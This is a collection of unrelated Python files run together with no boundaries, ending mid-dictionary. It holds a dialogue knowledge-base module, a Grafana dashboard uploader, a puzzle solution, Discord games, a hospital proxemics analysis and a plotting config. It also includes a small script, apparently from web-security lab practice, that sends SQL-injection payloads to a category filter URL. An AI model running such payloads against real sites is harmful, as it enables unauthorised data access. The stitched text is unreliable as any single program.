from math import fabs
from os.path import split
from re import sub
from utils.tools import addWordsToJieba, splitSentence
import ujson
import os
from utils.config import DATASET
import jieba
from io import BytesIO, StringIO

attraction_db_path = "attraction_db.json"
hotel_db_path = "hotel_db.json"
metro_db_path = "metro_db.json"
restaurant_db_path = "restaurant_db.json"
taxi_db_path = "taxi_db.json"

EntityIndex = 0
AttrsDictIndex = 1

#SPO_index satified MEMTOKEN
SUBJECT_INDEX=0
PREDICATE_INDEX=1
OBJECT_INDEX=2

"""
(subject-predicate-object(predicateInfo))
(entity-predicate-predicateInfo)
(subject-name-entity)

name is kind of predicate
entity is object
"""

SUBJECT_KEY = "领域"

ENTITIES_KEY = "名称"

SUBJECTS = ["景点", "酒店", "餐馆", "地铁", "出租"]

def getDictfromDataBase(filepath: str):
    abspath = os.path.join(os.getcwd(), "data", DATASET, "database", filepath)
    database_dict = None
    with open(abspath,encoding='utf-8') as f:
        database_dict = ujson.load(f)
    return database_dict

# equals
# attraction_db = getDictfromDataBase(attraction_db_path)
# hotel_db = getDictfromDataBase(hotel_db_path)
# metro_db = getDictfromDataBase(metro_db_path)
# restaurant_db = getDictfromDataBase(restaurant_db_path)
# taxi_db = getDictfromDataBase()
dbs = [getDictfromDataBase(path) for path in iter((
    attraction_db_path, hotel_db_path, metro_db_path, restaurant_db_path, taxi_db_path))]

# ChooseDataBaseBySubjectName = {SUBJECTS[i]: db for i,db in enumerate(dbs)}
ChooseDataBaseBySubjectName = dict()
for i, each in enumerate(SUBJECTS):
    ChooseDataBaseBySubjectName.setdefault(each,dbs[i])

PREDICATES = {}

PREDICATES = {eachSubject: [key for key in ChooseDataBaseBySubjectName[
    eachSubject][0][AttrsDictIndex].keys()] for eachSubject in SUBJECTS}

# for eachSubject in SUBJECTS:
#     database = ChooseDataBaseBySubjectName[]

ENTITIES = []
ENTITIES_belongs_SUBJECTS={}

def initPredicate(dbs: tuple):
    for eachSubject in SUBJECTS:
        database = ChooseDataBaseBySubjectName[eachSubject]
        attrsObj = database[0][AttrsDictIndex]
        PREDICATES.setdefault(eachSubject,[])
        for key in attrsObj.keys():
            PREDICATES[eachSubject].append(key)

def initEntitiesAndEntities_belongs(dbs: tuple):
    for index , database in enumerate(dbs):
        for item in database:
            ent = item[EntityIndex]
            ENTITIES.append(ent)
            ENTITIES_belongs_SUBJECTS.setdefault(ent,SUBJECTS[index])

initPredicate(dbs)
initEntitiesAndEntities_belongs(dbs)

# 避免jieba将数据集词拆分
# 读入却分词无效，jieba背锅
# dict_path = os.path.join(os.getcwd(), 'data', 'crossWOZ', 'dict.txt')
# if os.path.isfile(dict_path):
#     with open(dict_path, "r+", encoding="utf8") as file:
#         for each in SUBJECTS:
#             file.writelines(' 3 n \n'.join(PREDICATES[each]))
#         file.writelines(' 3 n \n'.join(SUBJECTS))
#         file.writelines(' 3 n \n'.join(ENTITIES))
#         jieba.load_userdict(file)

for each in SUBJECTS:
    addWordsToJieba(PREDICATES[each])
addWordsToJieba(SUBJECTS)
addWordsToJieba(ENTITIES)

# def getSubjectByEntityThroughDBs(dbs: tuple, ent: str) -> str:
#     for database in dbs:
#         for item in database:
#             if item[EntityIndex] is ent:
#                 return item[AttrsDictIndex][SUBJECT_KEY]
#     return None

def getSubjectByEntity(ent: str) -> str:
    return ENTITIES_belongs_SUBJECTS[ent]

def getAttrsByEntityThroughDBs(dbs: tuple, ent: str) -> dict:
    for database in dbs:
        for item in database:
            if item[EntityIndex] is ent:
                return item[AttrsDictIndex]
    return None

def getAttrsByEntity(ent: str) -> dict:
    database = ChooseDataBaseBySubjectName[ENTITIES_belongs_SUBJECTS[ent]]
    for item in database:
        if item[EntityIndex] == ent:
            return item[AttrsDictIndex]
    return None

def getEntitesBySPO(subject: str, predicate: str, predicateInfo: str):
    database = ChooseDataBaseBySubjectName[subject]
    entities = []
    # entities = [item[EntityIndex] if item[AttrsDictIndex][predicate] is predicateInfo else None for item in database]
    for item in database:
        if item[AttrsDictIndex][predicate] is predicateInfo:
            entities.append(item[EntityIndex])
    return entities if len(entities)>0 else None

def getEntitesBySubject(subject: str)->list:
    ents = []
    for item in ChooseDataBaseBySubjectName[subject]:
        ents.append(item[EntityIndex])
    return ents if len(ents) else None

def getEntityAttrs(ent:str):
    database = ChooseDataBaseBySubjectName[ENTITIES_belongs_SUBJECTS[ent]]
    for item in database:
        if item[EntityIndex] is ent:
            return item[AttrsDictIndex]

def getEntitesAttrsBySubjectAndPredicate(subject: str, predicate: str)->dict:
    database = ChooseDataBaseBySubjectName[subject]
    # ENTITIES_Attrs = {item[EntityIndex]: {key: item[AttrsDictIndex][key]
    #     for key in item[AttrsDictIndex].keys()} if  item is predicate else None for item in database}
    ENTITIES_Attrs = {}
    for item in database:
        for key in item[AttrsDictIndex].keys():
            if key is predicate:
                ENTITIES_Attrs.setdefault(item[EntityIndex],item[AttrsDictIndex])
    return ENTITIES_Attrs if len(ENTITIES_Attrs) else None

# def getEntitiesBySubjectAndInformPredicate(subject: str, predicate: str,inform_predicate) -> dict:
#     database = ChooseDataBaseBySubjectName[subject]
#     ENTITIES = []
#     for item in database:
#         if item[AttrsDictIndex][predicate] is inform_predicate:
#             ENTITIES.append(item[EntityIndex])
#     return ENTITIES if len(ENTITIES) else None

def findEntities(splitWords:list):
    ents = []
    for word in splitWords:
        if ENTITIES.__contains__(word):
            ents.append(word)
    return ents if len(ents) else None

def findPredicatesBySubject(splitWords:list,subject:str):
    predicates=[]
    for word in splitWords:
        if PREDICATES[subject].__contains__(word):
            predicates.append(word)
    return predicates if len(predicates) else None

def findPredicatesByEnt(splitWords:list,ent:str):
    predicates = []
    for word in splitWords:
        if PREDICATES[ENTITIES_belongs_SUBJECTS[ent]].__contains__(word):
            predicates.append(word)
    return predicates if len(predicates) else None

def findSubjects(splitWords:list):
    subjects = []
    for word in splitWords:
        if SUBJECTS.__contains__(word):
            subjects.append(subjects)
    return subjects if len(subjects) else None

def compareInfoEqual(wordlist, keys):
    for word in wordlist:
        for key in keys:
            if word is key:
                return True
    return False

def wordListFindRequestPredicateInfo(wordlist, old_ents)->dict:
    result =None
    userWants = {}
    subjects = findSubjects(wordlist)

    inform_predicate = [findPredicatesBySubject(wordlist,subject) for subject in subjects]

    ents = findEntities(wordlist)
    if ents is None:
        ents = old_ents

    # if subjects:
    #     ents = getEntitesBySubject()
    #     for ent in ents:
    #         ents_info_list.append(ent)

    if ents and inform_predicate:
        userWants.setdefault(inform_predicate, [])
        for ent in ents:
            attrs = getAttrsByEntity(ent)
            for word in wordlist:
                for key, val in enumerate(attrs):
                    if word is val:
                        userWants[inform_predicate].append(ent[inform_predicate])

    elif subjects and inform_predicate:
        # user need ent
        if ents:
            userWants.setdefault(ENTITIES_KEY,[])
            for ent in ents:
                # attrs = getAttrsByEntity(ent)
                predicates = PREDICATES[ENTITIES_belongs_SUBJECTS(ent)]
                if compareInfoEqual(wordlist, predicates):
                    userWants[ENTITIES_KEY].append(ent)
        else:
            ents = getEntitesBySubject(
                subjects)
            userWants.setdefault(ENTITIES_KEY, ents)

    return userWants if len(userWants) else None

def getPredicateInfoByEntityThroughDBs(dbs: tuple, ent: str, predicate: str) -> str:
    for database in dbs:
        for item in database:
            if item[EntityIndex] is ent:
                return item[AttrsDictIndex][predicate]
    return None

def generateAllSPO(user_split_words,sys_answer_sentence=None):
    SPO_list = []
    contains_entities = []
    if sys_answer_sentence:
        for word in splitSentence(sys_answer_sentence):
            if word in ENTITIES:
                contains_entities.append(word)
    for word in user_split_words:
        if word in ENTITIES:
            contains_entities.append(word)
    for word in contains_entities:
        database = ChooseDataBaseBySubjectName[ENTITIES_belongs_SUBJECTS[word]]
        for item in database:
            if item[EntityIndex] == word:
                for predicate,object in item[AttrsDictIndex].items():
                    if isinstance(object,list):
                        for slice in object:
                            SPO_list.append([word,predicate,slice]) # tuple
                    elif object is not None:
                        SPO_list.append([word,predicate,object])
    return SPO_list

def patternSubject(wordList):
    for index , word in enumerate(wordList):
        if word in SUBJECTS:
            return word
    return None

def patternPredicateWithSubject(wordList,subject):
    for index, word in enumerate(wordList):
        if word in subject:
            return PREDICATES[subject]
    return None

def patternEntity(wordList):
    for index , word in enumerate(wordList):
        if word in ENTITIES:
            return word
    return None


import json
import traceback

from tendrl.commons.utils import log_utils as logger
from tendrl.monitoring_integration.grafana import constants
from tendrl.monitoring_integration.grafana import dashboard_utils
from tendrl.monitoring_integration.grafana import datasource
from tendrl.monitoring_integration.grafana import exceptions
from tendrl.monitoring_integration.grafana import grafana_org_utils
from tendrl.monitoring_integration.grafana import utils

def upload_default_dashboards():
    dashboards = []
    NS.config.data["credentials"] = utils.get_credentials()
    try:
        main_org_id = grafana_org_utils.get_org_id(constants.MAIN_ORG)
        if main_org_id:
            response = grafana_org_utils.switch_context(
                json.loads(main_org_id)["id"]
            )
    except (exceptions.ConnectionFailedException, KeyError) as ex:
        msg = (json.loads(main_org_id)).get(
            "message", "Cannot connect to grafana")
        logger.log("error", NS.get("publisher_id", None),
                   {'message': msg})
        raise ex
    title = []
    # create datasource
    datasource.create()
    dashboards = dashboard_utils.get_all_dashboards()
    for dashboard_json in dashboards:
        title.append(dashboard_json["uri"].split('/')[1])

    for dashboard_json in NS.config.data["dashboards"]:
        if dashboard_json in title:
            msg = '\n' + "Dashboard " + str(dashboard_json) + \
                  " already exists" + '\n'
            logger.log("debug", NS.get("publisher_id", None),
                       {'message': msg})
            continue
        response = dashboard_utils.create_dashboard(dashboard_json)

        if response.status_code == 200:
            msg = '\n' + "Dashboard " + str(dashboard_json) + \
                  " uploaded successfully" + '\n'
            logger.log("debug", NS.get("publisher_id", None),
                       {'message': msg})
        else:
            msg = ("Dashboard {0} upload failed. Error code: {1} ,"
                   "Error message: " + "{2} ").format(
                       str(dashboard_json),
                       str(response.status_code),
                       str(get_message_from_response(response)))
            logger.log("debug", NS.get("publisher_id", None),
                       {'message': msg})
    try:
        dashboard_json = dashboard_utils.get_dashboard(
            NS.config.data["home_dashboard"])

        if 'dashboard' in dashboard_json:
            dashboard_id = dashboard_json.get('dashboard').get('id')
            response = dashboard_utils.set_home_dashboard(dashboard_id)

            response = dashboard_utils.set_home_dashboard(dashboard_id)
            if response.status_code == 200:
                msg = '\n' + "Dashboard " + \
                      str(NS.config.data["home_dashboard"]) + \
                      " is set as home dashboard" + '\n'
                logger.log("debug", NS.get("publisher_id", None),
                           {'message': msg})
        else:
            msg = '\n' + str(dashboard_json.get('message')) + '\n'
            logger.log("debug", NS.get("publisher_id", None),
                       {'message': msg})
    except exceptions.ConnectionFailedException as ex:
        traceback.print_exc()
        logger.log("error", NS.get("publisher_id", None),
                   {'message': str(ex)})
        raise exceptions.ConnectionFailedException

def get_message_from_response(response_data):

    message = ""
    try:
        if isinstance(json.loads(response_data.content), list):
            message = str(json.loads(response_data.content)[0]["message"])
        else:
            message = str(json.loads(response_data.content)["message"])
    except (AttributeError, KeyError):
        pass

    return message


# dp
# boj-1495 기타리스트 문제와 유사. 각 항목에서 더하거나 빼거나
n = int(input())
numlist = [int(x) for x in input().split()]
eq_cnt = [[0] * 21 for _ in range(n + 1)]

eq_cnt[0][numlist[0]] = 1

for i in range(1, n-1):
    for j in range(21):
        if eq_cnt[i-1][j]:
            if j - numlist[i] >= 0:
                eq_cnt[i][j - numlist[i]] += eq_cnt[i-1][j]
            if j + numlist[i] <= 20:
                eq_cnt[i][j + numlist[i]] += eq_cnt[i-1][j]

ret = eq_cnt[n-2][numlist[-1]]

print(ret)


import discord
from discord.ext import commands
import asyncio

import random
import datetime
import traceback
import os, sys

class Game(commands.Cog, name='一息ゲームコマンド'):

    def __init__(self, bot):
        self.bot = bot

    @commands.command()
    async def mine(self, ctx):
        """ 14x14のマインスイーパを生成するぞ！ """
        bomb_list = []
        num_dict = { 0 : '0⃣', 1 : '1⃣', 2 : '2⃣', 3 : '3⃣', 4 : '4⃣', 5 : '5⃣', 6 : '6⃣', 7 : '7⃣', 8 : '8⃣', 9 : '9⃣'}
        search_list = ((-1, -1), (0, -1), (1, -1),
                       (-1, 0),           (1, 0),
                       (-1, 1),  (0, 1),  (1, 1))
        X = 14
        Y = 14

        # ボム生成
        for y in range(Y):
            bomb_list.append([9 if random.randint(0, 4) == 1 else 0 for i in range(X)])

        # ボム位置の把握
        for y in range(Y):
            for x in range(X):
                count = 0
                if bomb_list[y][x] != 9:
                    for s_ptr in search_list:
                        tmp_x = x + s_ptr[0]
                        tmp_y = y + s_ptr[1]
                        if 0 <= tmp_x < X and 0 <= tmp_y < Y:
                            if bomb_list[tmp_y][tmp_x] == 9:
                                count += 1
                    bomb_list[y][x] = count

        # 文字列に変換
        mine_data = ''
        for bomb_ptr in bomb_list:
            #print(bomb_ptr)
            for bomb in bomb_ptr:
                if bomb == 9:
                    mine_data += '||#⃣||'
                else:
                    mine_data += '||'+ num_dict[bomb] + '||'
            mine_data += '\r\n'
        mine_txt = await ctx.send(mine_data)

        await mine_txt.add_reaction('😰')

        # 答え合わせ
        def check(reaction, user):
            emoji = str(reaction.emoji)
            if user.bot == True:    # botは無視
                pass
            else:
                return emoji == '😰'

        while not self.bot.is_closed():
            try:
                reaction, user = await self.bot.wait_for('reaction_add', timeout=600, check=check)
            except asyncio.TimeoutError:
                await mine_txt.add_reaction('😪')
                break
            else:
                if ctx.author.id != user.id:
                    continue
                mine_data = ''
                for bomb_ptr in bomb_list:
                    #print(bomb_ptr)
                    for bomb in bomb_ptr:
                        if bomb == 9:
                            mine_data += '||#⃣||'
                        else:
                            mine_data += num_dict[bomb]
                    mine_data += '\r\n'
                await mine_txt.edit(content=mine_data)
                await mine_txt.add_reaction('😪')
                break

    @commands.command()
    async def slot(self, ctx):
        """スロットを回すぞ！"""
        def make_slot_txt(s):
            txt = '**'
            for i in range(0, 3):
                txt += '['+ s[i][0] +'] ['+ s[i][1] +'] ['+ s[i][2] +']\r\n'
            return txt + '**'

        def set_slot(s, item, x):
            r = random.randint(0, 8)
            for i in range(0, 3):
                s[i][x] = item[r]
                r += 1
                if r > 8: r = 0
            return s

        s = [['㊙', '㊙', '㊙'], ['㊙', '㊙', '㊙'], ['㊙', '㊙', '㊙']]
        item = ['7⃣', '🔔', '🍉', '🍌', '🍋', '🍊', '🍒', '🍇', '🎰']
        num = { '0⃣' : 0, '1⃣' : 1, '2⃣' : 2 }

        slot_txt = await ctx.send(make_slot_txt(s))

        await slot_txt.add_reaction('0⃣')
        await slot_txt.add_reaction('1⃣')
        await slot_txt.add_reaction('2⃣')

        def check(reaction, user):
            emoji = str(reaction.emoji)
            if user.bot == True:    # botは無視
                pass
            else:
                return emoji == '0⃣' or emoji == '1⃣' or emoji == '2⃣' or emoji == '🔄'

        cnt = 0
        index_list = []
        while not self.bot.is_closed():
            try:
                reaction, user = await self.bot.wait_for('reaction_add', timeout=60, check=check)
            except asyncio.TimeoutError:
                await slot_txt.add_reaction('😪')
                break
            else:
                if ctx.author.id != user.id:
                    continue
                if str(reaction.emoji) == '🔄':
                    index_list = list()
                    cnt = 0
                    s = [['㊙', '㊙', '㊙'], ['㊙', '㊙', '㊙'], ['㊙', '㊙', '㊙']]
                    await slot_txt.edit(content=make_slot_txt(s))
                    continue

                cnt += 1
                index = num[str(reaction.emoji)]

                if index not in index_list:
                    index_list.append(index)
                    s = set_slot(s, item, index)
                    await slot_txt.edit(content=make_slot_txt(s))
                    if cnt >= 3:
                        await slot_txt.add_reaction('🔄')

def setup(bot):
    bot.add_cog(Game(bot))


#import getopt
import sys
#import ast
import json
import formatingDataSetProximity as formating
import enumerateTrackersProximity as et
import distancesProximity as distances
import visualisationProximity as vis
from datetime import datetime
from time import gmtime, strftime
import pandas as pd

def main():
	# intimate, personal, social, public
	#personal validate distances (0.46-1.2m)
	proxemic='intimate'
	proxemic2='intimate'
	patientIDDevice=''
	#folderData='/Users/13371327/Documents/Gloria/2020/RulesApp/obs-rules/server/routes/localisation/data';
	folderData = 'server/routes/localisation/data'
	#print(folderData);
	roles = {}
	coordinates={}
	centeredRole=''
	A= json.loads(str(sys.argv[1]))
	B= json.loads(str(sys.argv[2]))
	C= json.loads(str(sys.argv[3]))

	# GETTING PARAMETERS FROM NODE
	#ID rule
	idRule = A[0]['id']
	#TYPE OF GRAPH
	typeOfGraph = A[0]['value_of_mag']
	spetialSim=''

	if typeOfGraph == 'Priority':
		spetialSim='barchar'
	if typeOfGraph == 'All':
		typeOfGraph='full'
	else:
		typeOfGraph='role-centered'

	#PHASES
	myFormat = '%Y-%m-%d %I:%M:%S'
	phase1 = B[0]['time_action']
	phase2 = B[1]['time_action']

	#print('dates in the python script: ', phase1, phase2)
	#phase1 = datetime.strptime(phase1.split('.')[0], myFormat)

	#phase2 = datetime.strptime(phase2.split('.')[0], myFormat)

	#print('dates in the python script AFTER : ', phase1, phase2)
	#CENTERED ROLE
	if typeOfGraph == 'role-centered':
		#print('The value of the center role: ', A[0]['value_of_mag'])
		if(A[0]['value_of_mag'] is None or A[0]['value_of_mag']== '' or A[0]['value_of_mag']== 'null'):
			centeredRole='11111'
		else:
			centeredRole= A[0]['value_of_mag']
	else:
		centeredRole=0

	# ROLES
	#print('centeredRole value: ', centeredRole)
	#7 is the patient role according to the web tool
	for x in range(len(C)):
		if (C[x]['id_object']) == 7:
			patientIDDevice = C[x]['serial']
			patientcoordinates = C[x]['coordinates']
			if(centeredRole=='11111'):
				roles[x] = C[x]['name'] + ',' + '11111'
			else:
				roles[x] = C[x]['name'] + ',' + '11111'
			#print('Here is the patient information: ',patientIDDevice, patientcoordinates, roles[x])
		else:
			roles[x] = C[x]['name'] + ',' + C[x]['serial']
		#print(roles[x])
	#print('After the loop: ',patientIDDevice)
	# WHICH SESSION
	session = A[0]['id_session']
	file = folderData + '/' + str(session) + '.json'
	#print(A, B, str(sys.argv[3]));
	#print(typeOfGraph, phase1, phase2, centeredRole, len(C), roles, session);

	# Reminder: to know who the patient is, use the roles dictionary
	#print(typeOfGraph, phase1, phase2, centeredRole, len(C), roles, session);
	if(spetialSim=='barchar'):
		#print('Here we are about to generate a barchar')
		D = json.loads(str(sys.argv[4]))
		#COORDINATES
		for x in range(len(D)):
			coordinates[x] = D[x]['coordinates']
		#print('This is the first group of coordinates: ', D[0]["coordinates"], D[0]["name"])

		createBarChar(file, session, coordinates,proxemic, phase1, phase2, idRule, patientIDDevice)
	else:
		initAnalisis(file, centeredRole, proxemic, proxemic2, phase1, phase2, roles, typeOfGraph, session, idRule, patientIDDevice, patientcoordinates)

def initAnalisis(file, centeredRole, proxemic,proxemic2, phase1, phase2, roles, typeOfGraph, session, idRule, patientIDDevice, patientcoordinates):
	#READ DATA
	df = formating.readingDataJson(file,session)
	#print('Alll the variables I want to know: ',centeredRole, patientcoordinates, patientIDDevice);

	if ((not(patientIDDevice is None)) & (patientIDDevice != '')) & (typeOfGraph=='full'):
		query = 'tracker !=' + patientIDDevice
		df = df.query(query)

	if (typeOfGraph=='role-centered'):
		# Add the patient info into the dataFrame
		if(not(patientcoordinates is None)) & (centeredRole=='11111'):
			#create a small dataFrame with the patient info
			#the tagId is 0000
			#print('Good the patient coordinate and the centered role is patient', centeredRole, patientcoordinates)
			start = df['timestamp'].iloc[0]
			# last value
			end = df['timestamp'].iloc[-1]
			dfPatient= formating.creatingTimestampColumns(start, end, patientcoordinates, session)

			#Concat the new dataFrame with the one that was read in the first line

			frames = [dfPatient, df]
			df = pd.concat(frames, sort=True)
			df = df.reset_index()
			#print(df);
		elif (patientcoordinates is None):
			response = {"message": 'none', "path": 'none', "messageError": 'Please set the patient coordinate or the role serial tracker'}
			json_RESPONSE = json.dumps(response)
			print(json_RESPONSE)

	#FORMATING
	#session = session;

	#FILTER DATA ACCORDING TO PHASES
	df1= formating.nameTrackers(df, roles)
	#print(df.loc[df['tracker'] == 26689])
	#print(df1.Role.unique())
	#print(df1)

	#GET NUMBER OF TRACKERS
	n = et.numberTrackers(df1)
	#print ('number of trackers', n)
	#print (roles)
	#print ('BEFORE FILTERING: ',len(df.index))
	#FILTERING PER PHASE
	#df = formating.asign_phases(df, phase1, phase2)
	df, toSend = formating.filteringPhases(df1, phase1, phase2)
	#Total of seconds

	#print('This is the data number of rows: ',len(df.index))
	totalSeconds = len(df.index)
	if df.empty:
		#print('No matching rows: ', toSend);
		df, toSend= formating.filteringPhasesAdding(df1, phase1, phase2)
		if df.empty:
			df, toSend = formating.filteringPhasesMinosTimeZone(df1, phase1, phase2)
			if df.empty:
				df, toSend = formating.filteringPhasesMinosTimeZone1(df1, phase1, phase2)
	#print(toSend)
	#print(df, toSend)
	#print('This is the data filtered dataframe: ',df.Role.unique(), df)

	# Call the function that enumerates trackers
	df_trackers = et.enumerate_trackers(df)
	#print('df_trackers: $$$$$',df_trackers)
	df = et.asignEnumTrackers(df, df_trackers)
	#print('Assign enum trackers: $$$$$',df)
	# HERE I NEED TO KNOW HOW MANY SECONDS THIS SECTION OF THE SIMULATION LAST

	#print ('AFTER FILTERING: ',len(df.index))

	# WHICH  TRACKER IS THE SELECTED ROLE, returns the enum tracker
	#print('Here is the center role value: ',centeredRole)
	centeredRole = formating.roleNum(df, df_trackers, centeredRole)
	#print('Enum for the selected role in the miedle: $$$$$', centeredRole)
	## DISTANCES
	# To run the calculation of distances it requires the number of trackers and the dataset
	df_distancesBetTrackers = distances.distancesBetweenTrackers(df, n)
	#print('Distances between trackers: $$$$$', df_distancesBetTrackers)
	#print(df_distancesBetTrackers.head(10))

	# The next steep is to asign proxemic labels according to the distances
	df_proxemic_labels, prox_labels = distances.proxemicsLabels(df_distancesBetTrackers, n)
	#print('Labels according to the distance: $$$$$', df_proxemic_labels, prox_labels)
	#print(df_proxemic_labels, prox_labels)
	# Agregate the proxemic labels per session
	df = vis.aggregateLabels(df_proxemic_labels, prox_labels)
	#print('Agregation of the proxemic labels', df.head(5))

	if (typeOfGraph == 'full'):
		#print(df.head(10))
		filterProxemic = vis.filterPL(df, proxemic, proxemic2, role=0)
		# trackers_names = vis.nameTrackers(df, listRoles)
		#df_trackers_ordered = vis.orderTrackers(centeredRole, df_trackers)
		trackers_names = vis.nameTrackers(df_trackers, roles)
		#trackers_names = vis.nameTrackers(df_trackers, roles)

		#filterProxemic = vis.filterPL(df, proxemic,proxemic2, role=0)
		graph, message = vis.generateFullGraph(filterProxemic, trackers_names)
		name = vis.visualiseGraph1(graph, session, 'porcentages', proxemic, idRule)
		response = {"message": message, "path": name, "messageError": "none"}
		json_RESPONSE = json.dumps(response)
		print(json_RESPONSE)

		# Indicators of centrality
		#print('GRAPH DEGREE: ', vis.graphDegree(graph))
		#print('VERTEX 1 DEGREE: ', vis.vertexDegree(1, graph))
		#print('EDGE DEGREE: ', vis.edgeBetweennes(graph))
		#print('VERTEX DEGREE: ', vis.vertexBetweennes(graph))
		#print('LARGEST BETWEENESS: ', vis.largestBetweeness(graph, 'tracker'))
		#print('PAGE RANK: ', vis.pageRabk(graph))
		#print('PERSONALISE PAGE RANK: ', vis.PpageRabk(graph, 'proxLabel'))
	else:
		# Filtering data according to proxemic label of interest and the role
		filterProxemic = vis.filterPL(df, proxemic, proxemic2, centeredRole)
		#totalSeconds = len(filterProxemic.index)
		#print('Filter the data according to the proxemic label: ',filterProxemic)
		# Once we have the proxemic labels we can try to plot the SN
		df_trackers_ordered = vis.orderTrackers(centeredRole, df_trackers)
		#print(df_trackers_ordered)
		trackers_names = vis.nameTrackers(df_trackers_ordered, roles)
		#print('NAME  TRACKERS: @@@@ ',trackers_names)
		#print('ORDERED TRACKERS: @@@@ ', df_trackers_ordered)

		# VISUALISE
		# visualise normalized data and porcentages
		dfnorm = vis.normalizedata(filterProxemic)
		#print(dfnorm)
		graph, message = vis.graphDefinition(dfnorm, trackers_names, 'porcentages')
		#print(graph)
		name = vis.visualiseGraph1(graph, session, 'porcentages', proxemic, idRule)
		response =  {"message":message, "path":name, "messageError": "none"}
		json_RESPONSE = json.dumps(response)
		print(json_RESPONSE)

def createBarChar(file, session, coordinates,proxemic, phase1, phase2, idRule, patientIDDevice):
	#Read the file
	df1 = formating.readingDataJson(file, session)
	#Remove the patient' data from the dataFrame, if it was tracked
	#print('Patient ID device', patientIDDevice)
	#print(df1.head(10), df1.tracker.unique(), phase1, phase2)
	if (patientIDDevice!='') & (not(patientIDDevice is None)):
		query='tracker !=' + patientIDDevice
		df1 = df1.query(query)
	#FilterDataSet
	df, toSend = formating.filteringPhases(df1, phase1, phase2)
	if df.empty:
		# print('No matching rows: ', toSend);
		df, toSend = formating.filteringPhasesAdding(df1, phase1, phase2)
		if df.empty:
			df, toSend = formating.filteringPhasesMinosTimeZone(df1, phase1, phase2)
			if df.empty:
				df, toSend = formating.filteringPhasesMinosTimeZone1(df1, phase1, phase2)
	#print(toSend)
	#print(df.tracker.unique(), toSend, df)

	#print('This is the data number of rows: ',len(df.index))

	#Calculate distancesRolesAndBeds
	df = distances.calculateDistancesRolesToBeds(df, coordinates)
	#Were they in intimate proxemity with the patient asign label?
	numberOfPatients = len(coordinates)
	#print('The number of patients is: ', numberOfPatients);
	# careful with this functions of do you want to validate different distances. works only for intimate and personal
	df = distances.asignProximityLabel(df, numberOfPatients)
	#Agregate values according to the proximity of each patient Create a summary
	# bed 1: %, bed 2: %, bed  3: %
	itemsPlot, message, indexMax=distances.aggregateProximity(df, proxemic, numberOfPatients)
	name = vis.plotBarChart(itemsPlot, session, idRule, indexMax)
	response = {"message": message, "path": name, "messageError": "none"}
	json_RESPONSE = json.dumps(response)
	print(json_RESPONSE)

if __name__ == "__main__":
    # execute only if run as a script
    main()


import requests
import sys
import urllib3
from requests_toolbelt.utils import dump
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}

def exploit_sqli(url, payload):
    path = 'filter?category='
    r = requests.get(url + path + payload, verify=False, proxies=proxies)

    data = dump.dump_all(r)
    print(data.decode('utf-8'))

    if ".svg" in r.text:
        return True
    else:
        return False

if __name__ == "__main__":
    try:
        url = sys.argv[1].strip()
        payload = sys.argv[2].strip()
    except IndexError:
        print("[-] Usage: %s <url> <payload>" % sys.argv[0])
        print('[-] Example: %s www.example.com "1=1"' % sys.argv[0])
        sys.exit(-1)

    if exploit_sqli(url, payload):
        print("[+] SQL injection successful!")
    else:
        print("[-] SQL injection unsuccessful!")


import re
import logging
import ROOT
import plottingConfig as cfg

class Config(cfg.PlottingConfig):

    def __init__ (self, options):
        self.options = options
        super(Config, self).__init__()

        sigma = 1 # at mu=1 (arbitrary for AZh)
        sigma_units = 'fb'
        # self.force_mu = (True, 0.16) # 700 GeV
        self.force_mu = (True, 10) # 600 GeV

        # for child classes to use
        # self.loggingLvl = logging.INFO
        self.loggingLvl = logging.DEBUG
        self.verbose = False
        self.formats = [ 'eps', 'pdf', 'png', 'root', 'C' ]
        self.blind = True
        self.thresh_drop_legend = 0.01
        self.restrict_to = []
        self.excludes = []
        self.additionalPlots = []
        self.add_sig_to_ratio_plot = True
        self.use_exp_sig = True
        # self.transferResults_fitName = "HiggsNorm"
        # self.get_binning_hist_removal = ["_meas2l2q2v2q"]
        self.bkg_substr_name = "Diboson"
        self.bkg_substr_list = ["diboson", "Diboson", "WZ", "ZZ", "VZ"]
        self.file_tags = ["Y", "L", "J", "T", "TType", "Flv", "Sgn", "isMVA", "dist", "Spc", "D", "nAddTag", "BMax", "BMin", "Fat", "incFat", "incJet", "incAddTag"]
        self.weight_tags = ["Higgsweighted", "Dibosonweighted"]
        self.sig_names = ["VH"]
        self.signal = ["A#rightarrow Zh (best fit)", self._STACK, ROOT.kRed + 1, 1] # last = mult factor
        self.expected_signal = ["VHbb", self._STACK, ROOT.kRed +1, self.force_mu[1]] # last = expected mu
        #self.expected_signal = ["A#rightarrow Zh (#sigma={0} {1})".format(int(sigma*self.force_mu[1]), sigma_units), self._STACK, ROOT.kRed +1, self.force_mu[1]] # last = expected mu
        # self.additional_signal = ["A#rightarrow Zh", self._OVERPRINT, ROOT.kRed +1, 1.]
        self.bkg_tuple = {'ttbar': ("t#bar{t}", 42, ROOT.kOrange, []),
                'stopt': ("t, s+t chan", 41, ROOT.kOrange - 1, ["stops"]),
                'stops': ("t, s+t chan", 41, ROOT.kOrange - 1, ["stopt"]),
                'stopWt': ("Wt", 40, ROOT.kYellow - 7, []),
                'stop': ("Single top", 40, ROOT.kOrange - 1, []),
                'Zbb': ("Z+bb", 25, ROOT.kAzure + 3, []),
                'Zbc': ("Z+bc", 24, ROOT.kAzure + 2, []),
                'Zclbl': ("Z+(bl,cl)", 23, ROOT.kAzure + 1, []),
                'Zbl': ("Z+bl", 23, ROOT.kAzure + 1, []),
                'Zcl': ("Z+cl", 21, ROOT.kAzure - 8, []),
                'Zcc': ("Z+cc", 22, ROOT.kAzure - 4, []),
                'Zhf': ("Z+(bb,bc,cc)", 22, ROOT.kAzure + 2, []),
                'Zl': ("Z+l", 20, ROOT.kAzure - 9, []),
                'Wbl': ("W+bl", 33, ROOT.kGreen + 2, []),
                'Wbb': ("W+bb", 35, ROOT.kGreen + 4, []),
                'Wbc': ("W+bc", 34, ROOT.kGreen + 3, []),
                'Wcc': ("W+cc", 32, ROOT.kGreen + 1, []),
                'Whf': ("W+(bb,bc,cc,bl)", 32, ROOT.kGreen + 3, []),
                'Wcl': ("W+cl", 31, ROOT.kGreen - 6, []),
                'Wl': ("W+l", 30, ROOT.kGreen - 9, []),
                'WZ': ("WZ", 53, ROOT.kGray + 1, ["ZZ"]),
                'ZZ': ("ZZ", 52, ROOT.kGray + 1, ["WZ"]),
                'VZ': ("VZ", 51, ROOT.kGray + 1, []),
                'diboson': ("Diboson", 51, ROOT.kGray + 1, []),
                'WW': ("WW", 50, ROOT.kGray + 3, []),
